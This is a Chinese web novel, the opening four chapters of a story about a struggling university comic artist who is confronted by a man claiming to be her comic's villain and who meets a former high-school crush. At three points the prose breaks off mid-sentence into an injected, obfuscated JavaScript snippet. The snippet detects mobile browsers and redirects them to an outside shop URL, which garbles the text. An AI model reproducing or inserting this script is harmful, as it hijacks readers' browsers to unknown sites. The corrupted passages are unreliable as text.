《我被笔下黑皮反派威胁了》 1. 不速之客 今天的稿就赶到这里! 庄森芽把笔一放,把数位板一撂,靠在椅背上,说什么也不画了。 她手都要断了,眼睛都快瞎了,然而,在漫画平台上报名的‘手速王’冲刺活动却还没完成二分之一。 要是不能赶在这周把稿画完,她笔下连载的《灵月十四》就要被‘静默’三期,将近一个月时间会一点曝光量都没有,只有可怜兮兮的自然量。 本来就是每天不到两块钱的进账,剧情都快收尾了,漫画里的主人公马上就要攻入反派的核心工厂之一,再这样下去,整部漫画连件衣服钱都赚不出来。 她泄气地趴在桌子上,周围是几个乱糟糟的打包箱,她正身处一间女生四人宿舍里,前不久搬进来的行李还没有拆开。 庄森芽是上茂哈里森大学生物医学工程大一新生,同时也是狐尾漫画平台上一个糊得不能再糊的小画手。 画画是从小的热爱,可惜老天爷没有赏她这口饭吃,她从小学的时候就开始画了,然而从来没有人对她说过她是个天才,除了爸妈以外。 庄森芽也知道自己没多少天赋,她只是想混个低保,毕竟最近家里的情况不太好,爸妈的光曙公司经营情况低迷,导致整个家庭的生活品质都下降了一大截。 她登上狐尾漫画平台的网址,打开手速王活动界面,发现已经有很多大神提前完成了活动任务。 “唉。”她一声叹息。画技比不过人家,卷也卷不动,活该糊穿地心。 啪一声合上了笔记本,她打算在桌面上浅眠一阵,休息好了就继续赶稿。 不画是不可能不画的,那只是一些丧气话罢了。 当下是秋季,凉风透过宿舍的纱窗吹了进来,校园内喧嚷的声音也一同传进来,但整个世界的热闹都与她无关。 这种远处的吵闹声是最好睡的。 上下眼皮甫一合上,模糊的梦就进来了。 ## 咚咚。 庄森芽在梦里咕哝了一声。 咚咚。 她微微睁开眼睛。 门口传来了把手转动的声响。 “!”她瞬间清醒了。 庄森芽一下子把手绘板拨开,藏到了学校新发的教材下面。 好险,差点被人看到了。她可不想被将来要相处四年的舍友知道自己在画漫画,高中被人拿着作品到处嘲笑的那种经历,她可不想再有第二次了。 她有些紧张地盯着门口,不知道回来的是哪一个舍友。 正值开学之际,她另外三个舍友前不久还在宿舍流连,收拾行李、攀谈、畅想大学生活,但后来陆陆续续都不知道去哪了。 这个时候回来会是什么事呢? 庄森芽想着,一边露出一个标志的笑容来。 要给没见过几面的室友留下一个好印象,毕竟将来还要一起相处很久。 门缓缓敞开了,走廊的灯不知道为什么是灭掉的,当下已然临近黄昏,整个廊道都显得有些阴暗。 她一个下午都在赶稿,宿舍里的灯也没有开,结果就是整个屋子内部都非常的昏黑。 但是视线再怎么受影响,也不妨碍她看出来,门口站着的绝对不是一个女生。 那人头都快顶到门框了,肩膀四四方方,被黑色的西服布料兜住,两个鱼尾似的垂帘坠在身后,一头看似凌乱的黑色卷发披在脑袋上,表情有些看不清。 庄森芽的笑容有点僵硬。 男人? “唔。”对面的人发出困惑的声音,他从口袋里拿出了什么东西,那像是一张照片,他看一眼照片,又看一眼庄森芽,然后挠了挠自己的侧脸。 “你是?”庄森芽开口问他。 这是什么人?怎么擅闯女生宿舍,还随随便便地开别人的房间门,宿管阿姨没把他拦住吗? 一个带着磁性的声音传了过来,“你是《灵月十四》的作者吗?” 庄森芽一听,心里瞬间咯噔了一下。 眼前明显是一个陌生的男人,她不认识他,然而庄森芽是《灵月十四》的作者这件事情,在这个世界上理应只有三个人知道,那就是她的爸妈,和她的编辑。 邪了门了,这人到底是谁?? 像是为了回应她的疑惑,男人往一边伸出手去,摸到了门口的电灯开关,啪的一声,橘黄色的光亮充斥了整个宿舍。 光线下,庄森芽终于看清了对面人的长相。 那是一个身穿燕尾西服的异国男人,身型修长,脸上挂笑。肤色好像受到过太阳神的眷顾,比古铜色少一些黄,更靠近暗夜的颜色。一头浓密的鬈曲黑发在脑后拢起,实际打理得十分妥当。 “你是什么人?你——”庄森芽说到一半说不下去了,她盯着对方的脸,怎么看怎么熟悉。 这人……怎么和《灵月十四》里反派诺特斯长得一模一样!? 虽然漫画相较真人多多少少有些失真,但作为画师的庄森芽知道,自己心里反派诺特斯的原型就长成这个闯入者的模样,几乎可以说一点也不差。 对面的男人不紧不慢地往前走了两步,可就这么两步,不知为何却给人一种无法忽视的威压,“说初次见面好像有点奇怪,我没见过你,但你应该见过我。不管如何……你好,我叫诺特斯。” 男人是笑着的,说话的时候偶尔会露出洁白尖锐的虎牙。 庄森芽噌地一下站了起来,凳子腿和地板发出尖锐的磨擦声。 他说他是谁?! 等等。不,不可能。冷静下来,对方肯定是个看过漫画的读者,知道她是作者,所以特意打扮成这样来找她。 难道是什么狂热粉丝吗?不对,应该不是。她的漫画糊成那个样子,连打赏的观众都一只手数得过来,怎么可能有狂热到跟踪到作者学校里来的粉丝? 对面,男人东瞧瞧西看看,轻松惬意地观察着这间算不上太大的屋子,似乎对什么都很好奇。 “你想要什么?”庄森芽谨慎地问,慢慢往桌面靠拢,把自己的手机悄悄握在手里。 不管对面是什么人,他擅闯女生宿舍,还知道她是《灵月十四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208414|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 》的作者,要是来意不善的话,现在的情况对她来说很危险。 那自称诺特斯的异国男人看了庄森芽一眼,步伐悠哉地往宿舍内部逼近。他给自己找了一把椅子坐下来,拿起另一名舍友桌上一瓶矿泉水,捏在手里转来转去地看,“想跟你商量商量漫画的事情。” “商量什么?” “是有关我的结局。”男人颇有礼貌地说,只是他的礼貌和他自身的压迫力显得十分违和,“我想请你不要把我画死。” 庄森芽眯起眼睛。 这人玩角色扮演玩上瘾了?还在假装自己是诺特斯,脑袋别是有什么问题吧。 不过看这样子,他是对结局有意见的读者。 在《灵月十四》中,反派诺特斯是个不折不扣的恶霸,占据着重要的能源工厂却从不向外借输送宝贵的资源,导致许多当地民众的生活苦不堪言。 这种角色的结局是既定的,绝对不会好看。 按理来说没有人会共情那个视人命为草芥的大反派,但也不排除有些心理不正常的人会。 或许她眼前的就是其中之一。 是那种比会给作者寄刀片的人更可怕的物种,简而言之,对面有可能是个疯子。 现在她形单影只,对方又是一个感觉快到一米九的高大男人,结结实实堵住了庄森芽离开宿舍的去路。 在这个狭小的屋子内发生什么冲突是绝对没必要的,那对她来说没有一点好处。 “改掉诺特斯的结局是吧?”她暂且顺着对方的意愿继续往下说,虽然很好奇对方是怎么得知她是《灵月十四》的作者,但怎么想现在都不是追根问底的好时候,“你想让他有什么结局?” 男人把手里的矿泉水塑料瓶捏扁又捏圆,发出令人不安的声响,“这么好,让我选?” 他高挑细长的眉毛,阴影衬得眼窝十分的深邃,抬起一只戴着白手套的手细数着他的条件,举手投足让人无法忽视他的存在,“那就……富足的财富,但不会让我感觉到负担。自由的生活,想去哪就去哪的权力。充沛的灵感,还有……” 好抽象。而且要得还挺多。庄森芽在内心点评道。 她拿出自己的手机,佯装要将对方的要求记下来,“富足的财富……” 实际上,她找到了辅导员的联系方式,开始打字给对方发消息,说自己在宿舍遇到了跟踪狂,请她联系校内警察或者什么都行,总之拜托快点来救她。 刚打完一行字,还没来得及点发送,突然,庄森芽感觉一片阴影笼罩在她的头顶。 她抬头,只见异国男人站在她面前,倾身盯着她的手机屏幕。他露出一副好笑的表情,像是看到了什么有趣的事,然而那细长的眼睛中刺来的却是狠厉的目光。 他是什么时候离她这么近的!? 这人走路居然一点动静都没有,庄森芽一点也没反应过来。 她下意识想把手机收起来,可是对方却一把抓住她的手腕,将她拿起手机的那只手擒起来,‘罪证’就这样无所藏匿地展示在他们两人之间。 2. 新生典礼 “你……!” “‘跟踪狂’?你把我当成什么了?” “放开!” 她挣扎起来,可是把自己的胳膊都拽疼了也无济于事。 力气好大! 庄森芽近乎有些惊恐地盯着眼前的男人,从刚才起就感受到的威压愈发严重了。对方危险地眯起眼睛,似乎因为庄森芽打算发给辅导员的那段话而在隐蔽地发怒。 “哦,我知道了,你不相信我是诺特斯。”他说,发力将对面的人拽得更近了一些。 庄森芽一下子就被带了过去,根本没有一点反抗的余力。手机没拿住,咚一声掉在地上,她也来不及心疼了,满脑子都是怎么摆脱眼前这个脑袋明显不正常的男人。 对方看了眼地上无辜的手机,目光复又落在庄森芽的脸上。 离得近了,庄森芽被动地把对方的样貌看得一清二楚。男人不光眉毛是细长的,眼睫也十分锐利,他渗人地笑起来的时候连嘴角都像两片削尖的纸。 庄森芽只觉得越看越发毛,这人真的和她脑海里的诺特斯长得分毫不差。 “你要干什么?”庄森芽惨白着脸问。 下一刻,看到对方的动作,她突然觉得自己的问题有些多余。 这个自称是反派的男人解开了自己燕尾西服的纽扣,一把抓出塞在裤腰里的白衬衫,“你不是不相信我是诺特斯吗?那我证明给你看。” 假的吧,她生平十八年来从来没遇到过这种事情,居然在上大学的头几天在女生宿舍里碰上了暴露狂! 猛地一挣还是没有从对方的手里挣脱出来,情急之下庄森芽连忙嚷道:“我相信,我相信你是诺特斯!” 可男人好像根本完全没听到她的话似的,如利爪一般的手已经搭在腰带上了。 庄森芽只觉得胃部一阵恶寒,她张嘴就要喊救命,哪想到对方眼疾手快,一下子捂住了她的嘴。 “唔唔!” 她被对方压制在支撑床铺的立柱上,身形和体量的差距过于巨大,她感觉自己现在就像被蟒蛇缠上的獾,只能束手无策地看着面前的恶徒接下来的动作。 “这个胎记我从未向别人展示过,但你应该知道它。”男人说。 胎记?庄森芽在混乱中思索着对方的话。 但是因为紧张而无法思考的大脑并不能完全理解对方的话语。她心里一面喊着完蛋了,一面又在奋力思索,到底还有没有什么办法能让她逃出目前的困境。 可思来想去的结果是,怎么看都没戏。 于是干脆两眼一闭心一横,祈祷对方不会对一块没有回应的木头感兴趣。 面前传来沙沙的声音,像是布料之间在摩擦,紧接着是男人的话语,“看。” 她没睁开眼睛。 不看,打死她也不看脏东西。 就在这僵持的一刻,突然,宿舍门口传来转动把手的声响。 庄森芽一下子睁眼,往声源的地方看去。 有人回宿舍了。 对面的恶徒也被吸引了注意力,转头往同一个方向望去。 庄森芽注意到了他的分神。这是个挣脱的好时机。 于是她卯足了劲,像濒死的鱼一样卖力,不管不顾地用拳脚招呼上去,一瞬间,身上的桎梏松开了,她像是得水的泥鳅一样咻一下从男人的胳膊下钻了过去,头也不回地往宿舍门口跑。 这短短的几步路,她感觉身后好像有浓重的黑色阴影紧随而至。但当宿舍门敞开的一瞬间,那些尾随她的东西倏然消失不见了。 她看清了开门的人,那是她的舍友之一,一个叫石玥诗的女孩。 见到来人,庄森芽可谓是感动涕零,一下子扑上去挂到了她的身上,“救我!!” 舍友不明所以,抱着她困惑地说:“怎么了?” 庄森芽从她身上下来,指着屋子内部,惊恐地说:“有变态男闯进了宿舍!” 石玥诗一下子皱起了眉头,一双水润的圆眼睛顿时变得凌厉起来,目不转睛地瞪着宿舍内部。庄森芽也随着一起望过去,然而,透过大敞的宿舍门向狭小的内部看去,却发现那之中一个人的身影都没有。 “他还在里面,估计是藏起来了。”庄森芽说。 石玥诗犹豫了一刻,而后无所畏惧地往其中走去。 “别进去啊,叫人来吧。”庄森芽说。然而前行的女孩没有理会她。 顿时,庄森芽退两难。看着石玥诗义无反顾地走了宿舍,心想不能就这么抛下对方,于是鼓起勇气,捡起门口放着的扫帚,也跟着她一步步小心翼翼地走了进去。 她们打开厕所和淋浴间的门,里面空无一人。 提心吊胆地检查门后的空间,依然没有人。 爬到二层卧铺,将整个宿舍的视野纳入眼中,却还是半个人的影子都没有看到。 趴到窗口查看阳台的情况,还是连只鸟都没看见。 检查完了这一通,石玥诗有些困惑地盯着庄森芽问道:“哪都没有人,会不会是你看错了?” “我肯定没看错,他刚才当着我的面前脱衣服。”庄森芽说。 怎么可能会看错,那么一个充满了危险气息的大活人绝对不可能是幻觉,而且她的手腕上还残留着之前被男人攥紧留下的触觉,这代表刚才发生的一切都是真的。 石玥诗的表情凝重起来,她沉吟了一声,说:“那我给辅导员打个电话,说明一下这个情况吧。” 庄森芽连连点头。 趁石玥诗打电话的空档,庄森芽又疑神疑鬼地把宿舍从头到尾翻了个遍,她捡起自己摔落到地上的手机,又看到另一个舍友书桌上那瓶被揉捏过的矿泉水,它还是皱皱巴巴的模样。这一切都是那个男人曾经到来过的证明。 “嗯,麻烦你了,老师。”石玥诗挂掉了电话,转头对庄森芽说,“辅导员会安排人检查女寝走廊的监控录像,她说最近出入宿舍的人员审查也会加强。放心,应该不会再出事了。” 经过舍友这一番安慰,庄森芽的心情平静了几许。 “谢谢,玥诗,你太可靠了。”庄森芽感激地说。 石玥诗露出一个温柔的笑容。这个女孩今年十九岁,比大一新生普遍都大一岁,只因为她是去年的留级生,相较她们这些刚进入大学的新人来说多了几分沉稳,“最近在学校里小心一点,刚开学,学生们的家长都有进校的需要,所以最近对校外人员的管控有些松懈,会有可疑人士进来也说不定。” 庄森芽又是连连点头。心里想着,刚才那个自称诺特斯的跟踪狂加暴露狂应该就是趁开学期间学校管理不及时混进来的,居然明目张胆闯进了女生宿舍,他难道不知道走廊里的监控摄像头会把他录下来? 一旦校警追查到了他的行踪,他就等着吃牢饭吧。 庄森芽仍有些惊魂未定,坐在自己的椅子上平复心情。 不知为何,冷静下来之后,脑袋里反复出现的都是漫画里诺特斯那张脸,那个恶徒几乎和诺特斯的气质都差不多,无论做什么都给人一种不适的压迫感。 那番游刃有余的态度是他打算折磨对手之前惯常的愉悦,锐利的眉眼是用笑容也遮掩不住的凶残,就连他扯自己衣服的动作都蔓延着隐秘的暴力…… 想到这里,她打了个哆嗦,在心里对自己说不要再继续想下去了。 另一边,石玥诗把桌子上的一沓资料整理好,向庄森芽说道:“正好,时间差不多了,我们一起走吧?” 庄森芽疑惑地看向自己的舍友,“干什么去?” “新生典礼呀。”看着一脸懵懂的庄森芽,石玥诗笑起来,“你不会忘了吧?” “是今天吗?”庄森芽震惊地说。 她当然记得新生典礼,但印象里时间应该是后天。难道是因为她这几天沉迷赶稿,日子都已经过糊涂了? “当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208415|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然是今天,不然你以为宿舍里的人都去哪了。”石玥诗说。 庄森芽眨眨眼睛。说的也是,她好像从今天中午开始就没有见到舍友了。 “走吧?”石玥诗说。 “好……好,马上!”庄森芽从自己凌乱的书桌上找到了学生卡,又偷偷确认了一遍手绘板藏好了,心里想着稿还没赶完,但新生典礼又必须参加,没办法,今晚可能要熬个大夜了。 临出门前又在镜子前确认了一番自己的仪容,这才跟着石玥诗离开了宿舍。 她们就读的上茂哈里森大学是一所中外合办学校,校园里的建筑物既有中式也有欧式,融合在一起形成了一种奇妙的观感。 走在通向活动广场的绿荫大道上,可以看到校园里奔忙着一个个不知疲倦的新生,整个学校里都充满了朝气蓬勃的气息。 离开住宿区,沿着河畔的栈桥来到了教学区,这里同时也是学生们的活动区。 她们走进了一个颇具欧式风情的宏伟建筑之中,这是学生社团活动的主要场地,进门就是一个空旷的大堂,占据了整整两层的空间,而今年的新生典礼就在这里举行。 庄森芽和石玥诗两人在门口报到之后,便走进了这恢宏的建筑之中。 学生们已经陆续落座了,讲台上有工作人员和老师正在筹备马上就要开始的典礼。 “看这个样子是找不到素文和莫茹了。”石玥诗眺望着密密麻麻的学生,在其中寻找她们另外两个室友的身影,但她似乎一无所获,“我们坐在前排吧,听说典礼中途还有互动活动,要是运气好,还能接住台上抛下来的奖品呢。” “这么好?”庄森芽惊叹。 两人来到前排,庄森芽望过去,乌泱泱的人群中几乎没有几个空位,这里已经坐满了人。而石玥诗仿佛并不因此而困扰,她直接走进第二排,来到了一个看起来十分成熟稳重的男生旁边,朝对方说道:“学长,辛苦你帮我占位置了。” 对面的男生和气地说不用谢,然后就把位置让出来了,总共有三个空位,她们占了其中两个。 庄森芽借着石玥诗的光坐在了离讲台十分近的位置上,心想不愧是已经上过一年学的学姐,石玥诗看起来就挺有人脉,人长得特别温雅,说话声音也好听,听说跳舞还特别厉害,虽然和她接触不多,但庄森芽能感觉出来对方是一个特别有礼貌有家教的人,这样的人在大学肯定特别受欢迎,就连老师对都会对她网开一面,就是不知道她为什么留了一年级。 等待了一阵子,新生典礼渐渐拉开了序幕,先是校长上来致辞,介绍了一遍看起来十分有威严的领导们,之后又是各个系的教师代表发言。 中场似乎是为了防止学生们腻烦,还穿插了一个在线抽奖活动。奖品是一部对学术来说足够实用的笔记本,庄森芽也参与了抽奖。但没有什么意外地,没有中奖,她天生就不是什么易中奖的体质。 短暂的气氛活跃之后,新生典礼继续。而后上台的是学生代表,一个身穿白色西装的男生走上了讲台。 当他上台时,台下发生了一阵小小的骚乱。庄森芽侧耳听过去,隐约听见有人说着“好帅”、“佑哲学长”,“主席”之类的话。 讲台上的学生代表彬彬有礼地向校长与领导们鞠躬,之后又对学生们鞠了一躬。他笔挺地站在众人之前,两手在麦克风上交握,像一个优雅的笛手。 紧接着,温柔庄重的声音在整个会堂内回响,“大家好,我是裴佑哲,今天很荣幸能作为学生代表站在这个讲台上……” 庄森芽有些愣愣地盯着台上的人。 毫不夸张地说,这人穿着一身白衣服降临在这个讲台上的时候,一瞬间,他就像是天国派来的使者一样,低沉的嗓音将整个会堂都变成了布道之地。 但让庄森芽如此目不转睛的原因,并不是因为男生的形象或声音。 而是因为她认得这张脸,也听过这个名字。 3. 不愿相认的旧人 “裴佑哲……?”庄森芽有些木讷地重复。 她有点反应不过来。 回忆在此刻钻进脑海。 在上高一的第一天,她就知道自己所在的学校里,有一个出了名的高三校草,听说他不仅人长得帅,脾气还特别好,彬彬有礼,又愿意照顾同学,男生女生的人缘都非常不错。 后来,她才知道,这人几乎可以说是一个传奇人物,学习成绩总是名列前茅,老师们喜欢他喜欢得不得了,篮球场上也没少见他的身影,迷弟迷妹一大堆,一年四季,情书从来没有断过。 当时,在所有人的眼中,这个人永远是一副正派高洁的得体模样,与此同时,又带着一丝成年人的成熟,这导致身边的小屁孩和他仿佛都不在一个维度上。 虽然将近快三年没见过了,但看着讲台上那个令人挪不开视线的身影,庄森芽百分之百确信对方就是裴佑哲。 当下,她不禁诧异。 他也在上茂哈里森大学就读? 还真是好巧…… 裴佑哲用中文说完了演讲词之后,又转用英语复述了一遍。他们所在的中外合办大学向来对学生的英语水平要求很高,在这种正式的场合上,基本都要求演讲者使用中英双语表达。 看着讲台上的人用英语侃侃而谈,表达得流利顺畅,没有丝毫的卡顿,庄森芽不禁在心里感慨,裴佑哲还是和以前一样出众。 “他是学生会主席。”这时候,旁边的石玥诗开口说。她倾身过来,温柔的声线放得很轻,“是一位大三学长,学校里的人基本上都知道他。” 就连这点也和高中那时一样。庄森芽心想。 “他父亲是腾滨集团董事长,家里也很有钱。”石玥诗说。 这就是庄森芽的知识盲区了。 不过……腾滨集团?她好像在哪里听到过这家集团的名字。 “我和他是一个高中的。”庄森芽说。 石玥诗有些意外地看了她一眼,“是吗?” “高中那时候,他就是万里挑一的佼佼者,各方各面都是,果然上了大学之后也还是这么耀眼夺目。”庄森芽啧啧嘴,说道。 石玥诗一笑,“听起来你好像和他很熟的样子。” “我?我跟他不熟,都没说过话。”庄森芽否定。 但她说的是假话。 高中的时候,庄森芽和这个众人焦点一般的校草有过一段来往。 但那说不上是多么光彩的往来。 简而言之,她高中时和同学打赌打输了,所以当着所有同学的面,和这个叱咤风云的校草当众表了白。 而那之后……而那之后的事暂时就先不说了。 总之对方可是校草级别的人,自己就是个平平无奇的高一小丫头,他们两个人最终当然没有处成对象。 现在回想起那段经历,还免不了有些尴尬,因为当时裴佑哲没有直接了当地拒绝她,而是给她提了一个要求…… 这些导致他们两人的关系其实有些微妙。 但那已经是快三年前的事情,裴佑哲肯定已经不记得了,再者说,现在对方是名声赫赫的学生会主席,和她这种随处可见的大一新生想必不会再有什么交集,所以只要不碰面就不会尴尬。 学生代表的发言结束了,裴佑哲从右手边离开了讲台,一阵欢呼和掌声迎接他,他像个亲和的明星一样向下面的学生挥了挥手。 不愧是他。庄森芽在心里嘀咕。 她的目光也紧随着那个仿佛在发光的人,看着他一步步往观众席的方向走来。 这个时候庄森芽还什么都没有意识到。 直到对方走过了第一排,然后礼貌地请第二排的同学为他起身、逐渐往她所在的位置靠拢的时候,庄森芽才渐渐发现不对劲起来。 等等……他怎么在这个方向走? 庄森芽一下子就坐直了,紧贴着椅背,让自己的身影躲在石玥诗的身后,她可不想和这个万众瞩目的学生会主席来一个现场相认。 然而事与愿违。 裴佑哲走到石玥诗的旁边之后,就这么驻足了,此刻的他与庄森芽之间仅仅隔着一个座位的距离,那上面坐着石玥诗。 感觉到一束打量的目光望了过来,她不自然地吞了口口水,若无其事地看着台上,没有回望过去。 “刚才的演讲非常精彩。”是石玥诗的声音,她在对裴佑哲说话,“一个假期不见,你的英语又长进了。” “不用这么夸奖我。”裴佑哲说,坐在了石玥诗右手边的空位上,“你知道我这个假期一句英语都没说。” “去实习了?” “嗯,我爸安排我去他的公司待了一个月。” 隔壁两个人你一言我一语地交流了起来,庄森芽的身体这才放松了下来。 看来没有被认出来,她舒了一口气。 不过没想到,石玥诗居然认识裴佑哲学长,而且看上去两人很熟悉,这下庄森芽更加确信自己的舍友石玥诗大美女也是个交际花了,不带贬义的那种。 “今年要加入学生会吗?”裴佑哲问石玥诗。 “当然了,不就是因为这个才留级的吗。”石玥诗说。 “耽误你了,真是太对不起。但学校学生会的规矩一直是这个样子,不招大二学生。” “没关系,我就当给自己放了一年假。” 庄森芽竖着耳朵,好奇地听着旁边两个风云人物的交谈,身子无法控制地离她右手边的石玥诗越来越近,这不能怪她,但凡是个人都有一颗八卦之心,尤其是她这种刚到一个新环境的‘新兵蛋子’。 “你身边那位要加入学生会吗?” 突然,一句问话传进耳中。 距离太近,当这句话响起的时候,庄森芽一下子起了一身的鸡皮疙瘩,顿时有种偷听的行径被当场抓了个正着的感觉。 一道视线掷过来,庄森芽紧张地绷紧了下颚,有些僵硬地转过头去,视野里的是和她隔着一个石玥诗的裴佑哲。 他正微笑着等待着她的回答。 “啊,我,那个……”她紧张到有些不知道该说什么,是回答裴佑哲的问题,还是先假惺惺地和对方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208416|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上演一场初次见面的戏码,这两者一时让她左右为难。 “还没想好?”裴佑哲倾身向前,问道。 “我可能……还是更想加入绘画社。”唯恐被对方认出来的庄森芽缩身向后。 “这么早就开始拉人?”中间的石玥诗说,“百团大战明天才开始呢。” 裴佑哲侧看向石玥诗,笑意更深了,“我看她是你的朋友,心想卖你个人情。” 石玥诗也是一笑,没接裴佑哲的话,转而对庄森芽说:“学生会和绘画社并不互相冲突,森芽,加入学生会好处有很多,比如能拿到很高的学分,这样学业压力也会小很多。” 学分? 听到这两个字,庄森芽一下子来了兴致。 还有这种好事? “加入学生会就能拿学分?”她二次确认。 石玥诗:“肯定不是加入那么简单,但只要保证质量完成上面安排的活动,学分一定是不愁的。” 听完石玥诗的话,她心动了。 庄森芽看了裴佑哲一眼,后者和她对上了视线。他似乎一下子就明白过来她态度的转变,那意味深长的笑意弄得她有点不好意思。 “明天百团大战来摊位拿一个专属码,”裴佑哲细致地和她说明起了报名步骤,“加一下招聘负责人的联系方式,然后去网站上按流程申请,招聘负责人会通知你面试时间,后面的事情就交给我。” 他说话的时候还把手放在自己的胸口,摆出一副认真做出承诺的样子。 庄森芽对于这样专注的神情有点受之不来,移开了视线。 “那我把森芽的联系方式推给你?方便你们后面联系。”石玥诗说着,掏出手机就操作了起来。 “不用。”裴佑哲低沉又温柔的声音响了起来,他缓缓说道,“我们高中的时候就已经加过联系方式了,对吧,森芽?” 听到这句话,庄森芽差点一口气没上来。 他认出她来了!? 什么时候,难不成是一开始? 他记得他们互换过联系方式这件事,也就是说他还记得当年告白的事情,因为就是在当年的告白之后,两个人才互换了联系方式。 庄森芽感觉自己要因为尴尬而窒息。 她这辈子从来没有这么局促过。 转动脖子,她感觉自己的脖颈在发出吱呀的声音,仿佛变成了一个生锈的机器人,“你、你认出我来了啊,佑哲学长。” “你把头发染成了白色,我花了一阵子才敢确认。” “啊,是这样啊,哈哈……”她干巴巴地笑着说。 头发是她高中毕业之后染的,上高一的时候还是自然的黑发。 变化这么大居然还能被对方认出来,庄森芽已经不知道该说什么好了。 “原来你们认识……”石玥诗似乎并没有看出庄森芽的窘迫,还在往上添油加醋,“诶?可是森芽,你刚才不是说,你高中和佑哲没说过话?” 庄森芽在心里无声地哭嚎。 姐姐,我的好姐姐,都这个时候了,就别鞭尸了。 4. 花坛旁的弹奏者 “是没说过话,只是加过联系方式。”裴佑哲的声音响了起来。 ……嗯? 庄森芽看了一眼裴佑哲,对方回给了她一个饱含深意的眼神。 这是在帮她圆谎的意思? 在刚刚认识没几天的舍友面前撒谎又被发现,恐怕不会给对方留下什么好印象。 庄森芽并不想给石玥诗留下什么负面印象,怎么看着这个台阶她都得顺着下。 “对……对!当时好像有一个新生跨界交流活动,我们每一个高一学生都加了好多高二高三的学长学姐的联系方式,到现在好多人一句话都没说过。”庄森芽编了个借口。 “原来是这样……”石玥诗看上去相信了。 小小的插曲结束了,庄森芽靠回椅背,小声地叹了口气。 内心感慨着,裴佑哲不愧是学生会的主席,一开口说话就让别人的心脏七上八下的,心脏病都快犯了。更可怕的是,他挑起的事端居然还能转一圈完美收场,主打一个收放自如。 不得不佩服。 那之后,三个人便静静地观看新生典礼。 典礼很快结束了,学生们像潮水一样纷纷散去。 走出大厅之外,天色已经暗了下来,裴佑哲提出要护送她们两个回宿舍。 “最近校园对外开放,有不少社会人士进来,你们住的206宿舍离校园大门太近了,有男生护送会安全一些。” 听到这里,庄森芽顿时想起今天白天闯入女生宿舍的那个变态跟踪狂,心下不禁一阵胆寒。 石玥诗似乎也想起了同一件事,表情有些凝重,她没有推脱,对裴佑哲说:“那辛苦你走一趟了。” “怎么会辛苦,保护女士是我的责任。”裴佑哲十分绅士地说道,率先迈开了步伐。 从新生典礼大楼到女生宿舍的这一段路上,他们一行人吸引了不少目光,似乎不管到哪去,这个学生会主席都会吸引周围人的注意。 到了206宿舍楼楼下,裴佑哲和她们告别。 楼下的花坛旁边聚集了一群人,一阵尤克里里的弹奏声从中传出,似乎是学生们在围观某人表演。 外围人群的交谈声传进了庄森芽的耳中。 “是新来的交换生?以前没见过这个人。” “有点英俊过分了吧,哎,你不是就喜欢加外国人吗?快点去加他。” “说什么鬼话,他在女生宿舍楼下这么引人瞩目地演奏,怎么看都是有什么意图,肯定已经名花有主了。” 庄森芽好奇地驻足了片刻,往人群的中心看去。在攒动的人影之间,她偶然看见了中间弹奏尤克里里的人。 那人穿着高领黑毛衣,皮鞋和裤子也都是黑色的,上身套着一件深棕色的长款毛呢外套,一条长挂坠夹在外套和毛衣之间。他坐在花坛旁边,捏着一把精美的尤克里里,闭着眼忘情地弹奏着。 十分美好的画面。但庄森芽只觉得毛骨悚然。 她只看到了那个人一瞬间,暗夜中,眼睛看到的画面失去了很多细节,她没有完全看清那个人的脸,但有种感觉告诉她,那个演奏者就是前不久闯进女生宿舍的暴露狂。 庄森芽打了个激灵,头也不回地往宿舍楼里走。 不可能是他,她安慰自己说。她只是有点神经紧张了,那个恶徒肯定在哪里躲着呢,怎么可能明目张胆地在宿舍楼下演奏,这不是等着被抓吗? 和石玥诗两人进了宿舍楼的电梯,庄森芽还是有点心有余悸,她向对方问道:“玥诗,辅导员回话了吗?她说闯进宿舍的跟踪狂那件事有进展了吗?” 石玥诗掏出自己的手机看了一眼,“还没有,我问问她吧。你别着急,这件事肯定会有个结果的。” “嗯,好……” 两人回到宿舍,发现另外两个舍友已经回来了。那是两个可爱的女孩,十分巧合地,她们两人长得都不高,均留着短发,一个有着天生的羊毛卷,一个是打理精致的波波头。 看到庄森芽和石玥诗回来,她们俩一下子从各自的座位上蹿起来,像是兴高采烈的土拨鼠。 “你们回来啦。” “欢迎回来!” 她们异口同声地说。 四人在报道和往宿舍搬东西的时候见过几面,虽然接触的时间很短暂,但几人之间好像一点隔阂也没有,很快就能聊到一起去。 “你们的爸妈都走了吗?”庄森芽问她们。 “今天下午就走了,他们说还要帮我收拾宿舍,我可不敢折腾那二老。”留着波波头的莫茹说。她说起话来像一个假小子,肢体语言也特别的丰富,表情更是眉飞色舞。 